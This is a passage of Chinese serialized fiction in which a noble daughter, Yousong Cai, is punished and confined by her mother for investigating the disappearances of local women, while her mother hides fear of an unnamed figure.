杨凛星面色冷淡道:“的确是受惊不小。” 男子不可察觉的蹙了一下眉,这种时候不应该说自己没事然后将此事就此揭过吗?他不由得再度端详起杨凛星。这女子生得一副好容貌,眉眼间却凝着一层疏离,神色平静无波,哪里瞧得出一丝一毫受惊的模样? 他很快又恢复了从容的笑容,说道:“姑娘第一天来望归城就受如此惊吓,实在是我们有娀氏失职……我这就将小女和这歹人带回家中,好好审问一番,定给姑娘一个交代。” 对方态度如此端正,姿态放得如此之低,反倒叫杨凛星这边的人不知说什么好,只能看着他将人给领了回去。 临走前,有娀小姐意味深长的看了看了杨凛星一眼。 玉璃还有些不可置信:“就这么让她们走了?”他还没来得及狠狠把那个妄图对凛星大人不轨的贼人痛扁一顿呢! 杨凛星疲惫的按了按发紧的太阳穴,低声道:“明日再说,我累了。” 被一群莫名其妙的人吵了大半夜,真是烦躁的想骂人。 沈灵泽见状,立马捂住玉璃那张还想继续说话的小嘴,温声道:“好好歇息。”然后便拽着他轻声退了出去。 杨凛星在椅子上瘫坐了好一会儿,才缓缓睁眼,恰好瞥见手边的桌上放着一小瓶玉容膏。 她记得在临走前的确在包裹里备了点这东西,可她不记得自己有拿出来过啊? 这些天每晚练习射箭,掌心早已磨出裂口,方才又使足了力气扇那歹人,此刻静下心来,才感到一阵火辣辣的刺痛。 “还是先用了再说吧。” - 昭华国,望归城,有娀府 才踏入院内,有娀彩便低声哀求道:“小叔叔…今日之事,能别告诉我母亲吗?” 男人眼中划过一丝难以捉摸的流光,随即温和的安慰道:“放心。” 可他们不知道的是,有娀府的当家主母早已在回廊的转角处恭候多时了。 “母…母亲…”有娀彩霎时面色发白,男人却神色平静,仿佛早已预料到这场相遇。 有娀氏夫人身形清瘦,眉宇间带着挥之不去的倦意,却依然能窥见昔年倾城的风姿。她平静地扫过面前的叔侄二人,声音里带着不容置疑的威严:“天色已晚,请三弟先回吧。我有些话,要单独和彩儿说。” 有娀彩害怕的往自己小叔叔身后躲了躲,对方却无奈的向她摇了摇头,回身恭敬道:“还望嫂嫂保重身体。” 有娀夫人将她一路带到了祠堂,斥声道:“跪下!” 有娀彩认命的跪了下来,面上却是满脸的不服气。 “我要你对着你爹的灵位发誓,以后都老老实实呆在府里,永远不再去管那些腌臜事!” 有娀彩憋着一口气,愣是半个字都没说出来。 “说啊!”有娀夫人扬起手中提前备好的戒尺,重重打在了大小姐挺得笔直的背脊上,“你为什么不听话!为什么非要去做那些危险的事情!” 大小姐跪在冰冷的石板上,额上沁满细密的汗珠,唇瓣被咬得一片煞白,却始终倔强地不肯哼出声来。以往母亲惩罚她,阿香和阿云都会第一时间冲上 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有娀夫人被自己女儿眼中那股坚毅又执着的神情给震慑住了,她的心一路坠落至谷底,明白自己或许再也无法在这件事情上说服她了。 她咬咬牙,厉声吩咐道:“把小姐关到房间里去,没有我的命令,谁也不许和她接触!” “母亲!”有娀彩没想到自己讲话说的这样明白了,母亲却还是无法理解自己,“父亲临终前也托付您照看好北方部族的百姓,您忘了吗?那些失去女儿、妻子、亲人的百姓终日惶惶不安,您看不见吗?!” 没有人理会她的话,一左一右两个嬷嬷架起她就往后院走去。 “母亲!您对她们不闻不问,百姓会恨你,我也会恨你的!” 有娀夫人被她一席话气到毫无血色,豆大的眼泪顺着消瘦的颧骨流落下来。有位嬷嬷实在听不下去,哀劝道:“小姐,快别说了,夫人有她的难处啊……” 难处?能有什么难处!有娀彩看着母亲决然的背影,心中充斥着对她的愤恨与不满,为什么自己的母亲如此胆小、懦弱,身为掌权者却不愿意负起应有的责任,为什么! 直到有娀彩的声音逐渐消失,有娀夫人终于忍不住伏在奶母肩头失声痛哭:“彩儿她…怨恨我……” 奶母心疼的为她顺气,宽慰道:“小姐年纪尚轻,还不能体会为人母的心情,以后会好的……” 说完,她亦是无奈的叹了口气。此事若不能妥善解决,小姐怕是永远都要和夫人生分了呀! 有娀夫人心中又何尝不明白这个道理,只是为了保全她和女儿的性命,有些事,哪怕是会遭天谴,她也愿意一力抗下。 那个人的身影在脑海中一闪而过,一股刺骨的寒意瞬间窜上脊背,让她控制不住地打了个冷颤。 奶母敏锐地察觉到她的异样,立刻上前搀住她发凉的手臂,轻声劝道:“夫人,老奴先扶您回房歇息吧。” 有娀夫人沉痛的阖上双眼。 只求那个人,能够早日收手,不然……